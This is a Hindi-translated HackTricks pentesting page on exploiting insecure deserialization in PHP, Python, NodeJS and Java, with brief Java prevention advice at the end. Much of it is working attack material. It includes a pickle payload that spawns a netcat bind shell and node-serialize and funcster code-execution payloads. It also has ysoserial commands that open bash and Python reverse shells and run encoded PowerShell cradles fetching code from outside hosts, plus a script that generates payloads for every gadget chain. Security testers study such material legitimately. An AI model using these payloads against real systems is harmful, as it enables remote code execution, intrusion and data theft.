hacktricks/pentesting-web/deserialization/README.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

82 KiB

डेसीरियलाइज़ेशन

☁️ हैकट्रिक्स क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥

सीरीयलाइज़ेशन एक वस्तु को एक डेटा प्रारूप में बदलने की प्रक्रिया है जिसे बाद में पुनर्स्थापित किया जा सकता है। लोग अक्सर वस्तुओं को सीरीयलाइज़ करते हैं ताकि उन्हें संग्रहण में सहेजा जा सके, या संचार का हिस्सा के रूप में भेजा जा सके।

डेसीरियलाइज़ेशन उस प्रक्रिया का उल्टा है, जो किसी प्रारूप से संरचित डेटा को लेकर उसे एक वस्तु में पुनर्निर्माण करती है। आजकल, डेटा को सीरीयलाइज़ करने के लिए सबसे लोकप्रिय डेटा प्रारूप JSON है। इससे पहले, यह XML था।

कई अवसरों में आप सर्वर साइड में कुछ कोड ढूंढ़ सकते हैं जो उपयोगकर्ता द्वारा दिए गए कुछ वस्तु को डेसीरियलाइज़ करता है।
इस मामले में, आप एक दुष्ट पेलोड भेज सकते हैं ताकि सर्वर साइड अप्रत्याशित ढंग से व्यवहार करें।

आपको पढ़ना चाहिए: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html अटैक करने के लिए कैसे सीखें।

PHP

सीरीयलाइज़ेशन के साथ उपयोग किए जाने वाले जादूई तरीके:

  • __sleep जब एक वस्तु को सीरीयलाइज़ किया जाता है तो यह एक्सेस करने के लिए वापस लौटना चाहिए

डेसीरियलाइज़ेशन के साथ उपयोग किए जाने वाले जादूई तरीके

  • __wakeup जब एक वस्तु को डेसीरियलाइज़ किया जाता है तो यह बुलाया जाता है।
  • __unserialize यदि यह मौजूद होता है तो __wakeup के बजाय यह बुलाया जाता है।
  • __destruct PHP स्क्रिप्ट समाप्त होने पर बुलाया जाता है और वस्तु नष्ट की जाती है।
  • __toString वस्तु को स्ट्रिंग के रूप में उपयोग करता है लेकिन इसके अलावा इसमें फ़ाइल पढ़ने या इसके अंदर फ़ंक्शन कॉल के आधार पर अधिक भी किया जा सकता है।
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

यदि आप परिणामों की ओर देखें, तो आप देखेंगे कि जब ऑब्जेक्ट को डीसीरियलाइज किया जाता है, तो फ़ंक्शन __wakeup और __destruct को कॉल किया जाता है। ध्यान दें कि कई ट्यूटोरियल में आपको मिलेगा कि जब कोई विशेषता प्रिंट करने की कोशिश करते हैं, तो अब वह नहीं हो रहा है.

{% hint style="warning" %} यदि कक्षा में इसे लागू किया जाता है, तो __wakeup() की बजाय __unserialize(array $data) विधि को कॉल किया जाता है। यह आपको ऑब्जेक्ट को डीसीरियलाइज करने की अनुमति देता है और सीरीयलाइज़ किए गए डेटा को एक एरे के रूप में प्रदान करता है। आप इस विधि का उपयोग करके गुणों को डीसीरियलाइज़ कर सकते हैं और डीसीरियलाइज़ करने पर कोई भी आवश्यक कार्य कर सकते हैं।

phpCopy codeclass MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

{% endhint %}

आप एक समझाया हुआ PHP उदाहरण यहां पढ़ सकते हैं: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, यहां https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf या यहां https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP डिसीरियल + ऑटोलोड क्लासेस

आप PHP ऑटोलोड कार्यक्षमता का दुरुपयोग करके अनियमित php फ़ाइलें और अधिक लोड कर सकते हैं:

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

संदर्भित मानों को सीरियलाइज़ करना

यदि किसी कारण से आप किसी मान को एक अन्य मान के संदर्भ के रूप में सीरियलाइज़ करना चाहते हैं तो आप कर सकते हैं:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (PHP के लिए ysoserial)

PHPGCC आपको PHP डिसीरियलाइज़ेशन का दुरुपयोग करने के लिए पेलोड उत्पन्न करने में मदद कर सकता है।
ध्यान दें कि कई मामलों में आपको एक ऐसा तरीका नहीं मिलेगा कि आप एप्लिकेशन के स्रोत कोड में डिसीरियलाइज़ेशन का दुरुपयोग करें, लेकिन आप PHP के बाहरी एक्सटेंशन के कोड का दुरुपयोग कर सकते हैं।
तो, यदि संभव हो सके तो, सर्वर की phpinfo() की जांच करें और इंटरनेट पर खोजें (और PHPGCC के गैजेट्स पर भी) कुछ संभावित गैजेट जिनका आप दुरुपयोग कर सकते हैं।

phar:// मेटाडेटा डिसीरियलाइज़ेशन

यदि आपने एक LFI खोजा है जो केवल फ़ाइल को पढ़ रहा है और उसमें php कोड को नहीं चला रहा है, उदाहरण के लिए file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()**_ जैसे फ़ंक्शनों का उपयोग करके। आप phar प्रोटोकॉल का उपयोग करके एक डिसीरियलाइज़ेशन का दुरुपयोग करने की कोशिश कर सकते हैं।
अधिक जानकारी के लिए निम्नलिखित पोस्ट पढ़ें:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

जब ऑब्जेक्ट को अनपिकल किया जाता है, फ़ंक्शन __reduce__ क्रियान्वित होगी।
जब इसका दुरुपयोग किया जाता है, सर्वर एक त्रुटि वापस कर सकता है।

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

और अधिक जानकारी के लिए pickle jails से बचने के बारे में देखें:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml और jsonpickle

निम्नलिखित पृष्ठ में यह तकनीक प्रस्तुत करता है yamls पायथन पुस्तकालयों में एक असुरक्षित डेसीरियलाइज़ेशन का दुरुपयोग करने के बारे में और एक उपकरण के साथ समाप्त होता है जिसका उपयोग किया जा सकता है Pickle, PyYAML, jsonpickle और ruamel.yaml के लिए RCE डेसीरियलाइज़ेशन पेलोड उत्पन्न करने के लिए:

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

कक्षा प्रदूषण (Python Prototype Pollution)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

JS जादूई फ़ंक्शन

JS PHP या पायथन की तरह "जादूई" फ़ंक्शन नहीं है जो केवल एक ऑब्जेक्ट बनाने के लिए निष्पादित होंगे। लेकिन इसमें कुछ फ़ंक्शन हैं जो सीधे बुलाए जाने के बिना भी अक्सर उपयोग होते हैं जैसे toString, valueOf, toJSON
यदि डेसीरियलाइज़ेशन का दुरुपयोग करके आप इन फ़ंक्शनों को ख़तरे में डालते हैं ताकि अन्य कोड को निष्पादित किया जा सके (संभावित रूप से प्रोटोटाइप प्रदूषण का दुरुपयोग करके) तो जब उन्हें बुलाया जाएगा तो आप अनियंत्रित कोड को निष्पादित कर सकते हैं।

एक और "जादूई" तरीका एक फ़ंक्शन को बुलाने के लिए सीधे नहीं है, वह एक ऑब्जेक्ट को ख़रीदने वाले एक असिंक फ़ंक्शन (प्रमिस) द्वारा वापस किया जाता है। क्योंकि, यदि आप उस वापसी ऑब्जेक्ट को एक और प्रमिस में बदल देते हैं जिसमें एक "then" नामक गुण होता है जिसका प्रकार फ़ंक्शन होता है, तो यह इसलिए निष्पादित होगा क्योंकि यह दूसरे प्रमिस द्वारा वापस किया जाता है। अधिक जानकारी के लिए इस लिंक पर जाएं।

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ और prototype प्रदूषण

यदि आप इस तकनीक के बारे में जानना चाहते हैं तो निम्नलिखित ट्यूटोरियल पर नज़र डालें:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

यह पुस्तकालय फ़ंक्शन को serialize करने की अनुमति देती है। उदाहरण:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

यह संकलित ऑब्जेक्ट इस तरह दिखेगा:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

आप उदाहरण में देख सकते हैं कि जब एक फ़ंक्शन को सीरीयलाइज़ किया जाता है, तो सीरीयलाइज़ किए गए ऑब्जेक्ट में _$$ND_FUNC$$_ फ़्लैग जोड़ा जाता है।

node-serialize/lib/serialize.js फ़ाइल में आप इसी फ़्लैग और कोड का उपयोग करने का तरीका देख सकते हैं।

जैसा कि आप अंतिम कोड टुकड़े में देख सकते हैं, अगर फ़्लैग मिल जाता है तो eval का उपयोग फ़ंक्शन को डीसीरीयलाइज़ करने के लिए किया जाता है, इसलिए मूल रूप से उपयोगकर्ता इनपुट eval फ़ंक्शन के अंदर का उपयोग किया जाता है

हालांकि, केवल फ़ंक्शन को सीरीयलाइज़ करने से उसे नहीं चलाया जा सकता क्योंकि इसके लिए कोड के किसी हिस्से में होना चाहिए कि उदाहरण में y.rce को कॉल किया जाए और यह बहुत असंभाव्य है। फिर भी, आप सीरीयलाइज़ किए गए ऑब्जेक्ट में ऑटो एक्सीक्यूट करने के लिए कुछ ब्रैकेट जोड़कर सीरीयलाइज़ किए गए फ़ंक्शन को संशोधित कर सकते हैं। अगले कोड टुकड़े में अंतिम ब्रैकेट का ध्यान दें और कैसे unserialize फ़ंक्शन स्वचालित रूप से कोड को एक्सीक्यूट करेगा:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

जैसा कि पहले इंगित किया गया था, यह पुस्तकालय _$$ND_FUNC$$_ के बाद कोड प्राप्त करेगी और eval का उपयोग करके इसे चलाएगी। इसलिए, कोड को ऑटो-चलाने के लिए आपको फंक्शन निर्माण भाग और अंतिम ब्रैकेट को हटा देना होगा और केवल एक JS वनलाइनर को चलाना होगा, जैसा कि निम्न उदाहरण में दिखाया गया है:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

आप इस विकल्प को उपयोग करके इस संकट को कैसे उपयोग कर सकते हैं के बारे में यहां अधिक जानकारी पा सकते हैं।

funcster

यहां दिलचस्प अंतर है कि मानक अंतर्निहित वस्तुएं अभिगम्य नहीं हैं, क्योंकि वे बाहरी क्षेत्र में हैं। इसका अर्थ है कि हम अपने कोड को चला सकते हैं, लेकिन बिल्ट-इन वस्तुओं के विधियों को नहीं बुला सकते हैं। इसलिए अगर हम console.log() या require(something) का उपयोग करते हैं, तो नोड एक अपवाद लौटाता है जैसे "ReferenceError: console is not defined"

हालांकि, हम आसानी से सब कुछ तक पहुंच पा सकते हैं क्योंकि हमें अभी भी ग्लोबल संदर्भ का उपयोग करके ग्लोबल संदर्भ के पास पहुंच है, जैसे this.constructor.constructor("console.log(1111)")();:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

अधिक जानकारी के लिए इस पेज को पढ़ें](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)

serialize-javascript

पैकेज में कोई डीसीरियलाइज़ेशन कार्यक्षमता शामिल नहीं है और आपको इसे खुद लागू करने की आवश्यकता होती है। उनका उदाहरण सीधे eval का उपयोग करता है। यह आधिकारिक डीसीरियलाइज़ेशन उदाहरण है:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

यदि इस फ़ंक्शन का उपयोग ऑब्जेक्ट्स को डीसीरियलाइज़ करने के लिए किया जाता है, तो आप इसे आसानी से शोषण कर सकते हैं:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Cryo पुस्तकालय

निम्नलिखित पृष्ठों में आपको इस पुस्तकालय का दुरुपयोग करके अनियमित कमांडों को निष्पादित करने के बारे में जानकारी मिलेगी:

जावा - एचटीटीपी

जावा में डिसीरियलाइज़ किए गए ऑब्जेक्ट्स की मुख्य समस्या यह है कि डिसीरियलाइज़ेशन के दौरान डिसीरियलाइज़ेशन कॉलबैक को आमंत्रित किया जाता है। इससे एक हमलावर को उस कॉलबैक का लाभ उठाने और एक पेलोड तैयार करने की संभावना होती है जो कॉलबैक का दुरुपयोग करके दुष्कर्मी कार्रवाई करती है।

फिंगरप्रिंट

व्हाइट बॉक्स

सीरीयलाइज़ेशन कक्षाओं और फ़ंक्शन के लिए कोड में खोजें। उदाहरण के लिए, Serializable को लागू करने वाली कक्षाओं, java.io.ObjectInputStream या readObject या readUnshare फ़ंक्शन का उपयोग करने की खोज करें।

आपको इन पर भी ध्यान देना चाहिए:

  • बाहरी उपयोगकर्ता परिभाषित पैरामीटर के साथ XMLdecoder
  • XStream के साथ fromXML मेथड (xstream संस्करण <= v1.46 सीरीयलाइज़ेशन समस्या के प्रति संवेदनशील है)
  • ObjectInputStream के साथ readObject
  • readObject, readObjectNodData, readResolve या readExternal का उपयोग
  • ObjectInputStream.readUnshared
  • Serializable

ब्लैक बॉक्स

जावा सीरीयलाइज़ के ऑब्जेक्ट्स की फिंगरप्रिंट / मैजिक बाइट्स (विज्ञापन ObjectInputStream से):

  • AC ED 00 05 हेक्स में
  • rO0 बेस64 में
  • Content-type हैडर एक एचटीटीपी प्रतिक्रिया में application/x-java-serialized-object के रूप में सेट किया गया है
  • 1F 8B 08 00 हेक्स पहले संपीड़ित
  • H4sIA बेस64 पहले संपीड़ित
  • वेब फ़ाइलें जिनमें एक्सटेंशन .faces और faces.ViewState पैरामीटर है। यदि आपको वेबऐप में यह मिलता है, तो जावा JSF VewState डिसीरियलाइज़ेशन के बारे में पोस्ट को देखें।
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

यदि आप जानना चाहते हैं कि जावा डिसीरियलाइज़ेशन अपशिष्ट कैसे काम करता है, तो आपको बेसिक जावा डिसीरियलाइज़ेशन, जावा DNS डिसीरियलाइज़ेशन और कॉमन्स कलेक्शन 1 पेलोड पर नज़र डालनी चाहिए।

व्हाइट बॉक्स टेस्ट

आप यह जांच सकते हैं कि क्या कोई ऐसा एप्लिकेशन स्थापित है जिसमें ज्ञात अपशिष्टताएं हैं।

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

आप उन सभी पुस्तकालयों की जांच करने की कोशिश कर सकते हैं जिन्हें ज्ञात रूप से खुलासा किया गया है और जिनके लिए Ysoserial एक उत्पादन कर सकता है। या आप Java-Deserialization-Cheat-Sheet पर दिए गए पुस्तकालयों की जांच कर सकते हैं। आप gadgetinspector का भी उपयोग कर सकते हैं ताकि आप उपयोग करने योग्य संभावित गैजेट श्रृंखलाओं की खोज कर सकें जिन्हें उपयोग किया जा सकता है। gadgetinspector को चलाते समय (इसे बिल्ड करने के बाद) उसे जा रहे बहुत सारे चेतावनियों / त्रुटियों की परवाह न करें और उसे पूरा होने दें। यह सभी खोजों को gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt के तहत लिखेगा। कृपया ध्यान दें कि gadgetinspector एक उत्पादन नहीं बनाएगा और यह गलत सकारात्मक नतीजे दिखा सकता है

ब्लैक बॉक्स परीक्षण

बर्प एक्सटेंशन gadgetprobe का उपयोग करके आप जांच सकते हैं कि कौन सी पुस्तकालयें उपलब्ध हैं (और उनके संस्करण भी)। इस जानकारी के साथ, यह आसान हो सकता है कि आप एक पेलोड चुनें जिससे संक्रमण की कमजोरी का उपयोग कर सकें। गैजेटप्रोब के बारे में और अधिक जानें GadgetProbe ObjectInputStream संक्रमणों पर ध्यान केंद्रित है।

बर्प एक्सटेंशन Java Deserialization Scanner का उपयोग करके आप ysoserial के साथ उपयोग करने योग्य विकल्पशील पुस्तकालयों की पहचान कर सकते हैं और उन्हें शोषण कर सकते हैं। जावा संक्रमण स्कैनर के बारे में और अधिक जानें। जावा संक्रमण स्कैनर ObjectInputStream संक्रमणों पर ध्यान केंद्रित है।

आप बर्प में डिसीरियलाइज़ेशन की कमजोरियों का पता लगाने के लिए Freddy का उपयोग कर सकते हैं। यह प्लगइन ObjectInputStream संबंधित कमजोरियों के साथ-साथ Json और Yml संक्रमण पुस्तकालयों के vulns का पता लगाएगा। सक्रिय मोड में, यह नींद या DNS पेलोड का उपयोग करके उन्हें पुष्टि करने की कोशिश करेगा। आप Freddy के बारे में अधिक जानकारी यहां पा सकते हैं।

संक्रमण परीक्षण

सभी चीजें यहां उसे जांचने के बारे में नहीं है कि क्या सर्वर द्वारा कोई कमजोर पुस्तकालय उपयोग की जा रही है। कभी-कभी आप संक्रमित ऑब्जेक्ट के भीतर डेटा बदल सकते हैं और कुछ जांचों को छलना कर सकते हैं (शायद वेबऐप में व्यवस्थापक विशेषाधिकार प्रदान करें)। यदि आपको एक जावा संक्रमित ऑब्जेक्ट मिलता है जो वेब एप्लिकेशन को भेजा जाता है, तो आप SerializationDumper का उपयोग कर सकते हैं ताकि आप उस संक्रमण ऑब्जेक्ट को मानव पठनीय स्वरूप में प्रिंट कर सकें। जानना कि आप कौन से डेटा भेज रहे हैं, उसे संशोधित करना और कुछ जांचों को छलना करना आसान होगा।

शोषण

ysoserial

जावा संक्रमणों का शोषण करने के लिए सबसे अधिक ज्ञात उपकरण ysoserial है (यहां डाउनलोड करें)। आप ysoseral-modified का भी उपयोग कर सकते हैं जो आपको जटिल आदेश (उदाहरण के लिए पाइप के साथ) का उपयोग करने देगा। ध्यान दें कि यह उपकरण ObjectInputStream के शोषण पर ध्यान केंद्रित है। मैं "URLDNS" पेलोड का उपयोग करने की सलाह देता हूँ RCE पेलोड से पहले इंजेक्शन की जांच करने के लिए। फिर भी, ध्यान दें कि शायद "URLDNS" पेलोड काम नहीं कर रहा हो, लेकिन अन्य RCE पेलोड काम कर रहा हो।

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 में पेलोड को एनकोड करें
base64 -w0 पेलोड
जब आप **java.lang.Runtime.exec()** के लिए एक पेलोड बना रहे होते हैं, तो आप **विशेष वर्ण** जैसे ">" या "|" का उपयोग नहीं कर सकते हैं ताकि एक निष्पादन के आउटपुट को रीडायरेक्ट कर सकें, "$()" का उपयोग करें ताकि कमांड को निष्पादित किया जा सके या यहां तक कि एक कमांड को **अर्ग्यूमेंट्स** के रूप में अलग करें जो **स्पेस** द्वारा अलग होते हैं (आप `echo -n "hello world"` कर सकते हैं लेकिन आप `python2 -c 'print "Hello world"'` नहीं कर सकते हैं)। पेलोड को सही ढंग से एनकोड करने के लिए आप [इस वेबपेज](http://www.jackson-t.ca/runtime-exec-payloads.html) का उपयोग कर सकते हैं।

विन्डोज और लिनक्स के लिए **सभी संभव** कोड निष्पादन पेलोड बनाने और उन्हें विनम्रता से टेस्ट करने के लिए आप निम्नलिखित स्क्रिप्ट का उपयोग करें:
```python
import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

सीरियलकिलरबाइपासगैजेट

आप https://github.com/pwntester/SerialKillerBypassGadgetCollection का उपयोग कर सकते हैं ysoserial के साथ और अधिक एक्सप्लोइट बनाने के लिए। इस टूल के बारे में अधिक जानकारी टॉक के स्लाइड्स में है जहां टूल को प्रस्तुत किया गया था: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

मार्शलसेक

मार्शलसेक का उपयोग करके आप जावा में विभिन्न Json और Yml सीरियलाइज़ेशन पुस्तकालयों को अनुचित उपयोग करने के लिए पेलोड उत्पन्न कर सकते हैं।
प्रोजेक्ट को कंपाइल करने के लिए मुझे pom.xml में इन डिपेंडेंसीज़ को जोड़ने की आवश्यकता थी:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

मेवेन इंस्टॉल करें, और प्रोजेक्ट को कंपाइल करें:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

इस जावा JSON पुस्तकालय के बारे में और अधिक जानें: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

प्रयोगशाला

क्यों

जावा सीरीयकरण विशेषता को बहुत पसंद है। उदाहरण के लिए:

  • HTTP अनुरोधों में - पैरामीटर, ViewState, कुकीज़, आप नाम लो।
  • RMI - व्यापक रूप से उपयोग की जाने वाली जावा RMI प्रोटोकॉल 100% सीरीयकरण पर आधारित है
  • RMI over HTTP - कई जावा मोटी क्लाइंट वेब ऐप्स इसका उपयोग करते हैं - फिर से 100% सीरीयकृत ऑब्जेक्ट्स
  • JMX - फिर से, तार पर छोड़े जाने वाले सीरीयकृत ऑब्जेक्ट्स पर निर्भर करता है
  • कस्टम प्रोटोकॉल - जावा ऑब्जेक्ट्स को भेजना और प्राप्त करना सामान्य है - जिसे हम आने वाले कुछ उत्पादों में देखेंगे

रोकथाम

अस्थायी ऑब्जेक्ट्स

Serializable का एक कक्षा उस कक्षा के भीतर किसी भी ऑब्जेक्ट को transient के रूप में लागू कर सकती है जो सीरीयकरण योग्य नहीं होना चाहिए। उदाहरण के लिए:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

एक कक्षा की संचारीकरण से बचें जो Serializable को लागू करने की आवश्यकता होती है

आपके ऐप्लिकेशन के कुछ ऑब्जेक्ट Serializable को लागू करने के कारण लागू करने के लिए मजबूर हो सकते हैं। अपने ऐप्लिकेशन के ऑब्जेक्ट को डिसीरियलाइज़ नहीं किया जा सकता है, इसके लिए एक readObject() मेथड घोषित किया जाना चाहिए (जिसमें final संशोधक होता है) जो हमेशा एक अपवाद फेंकता है:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

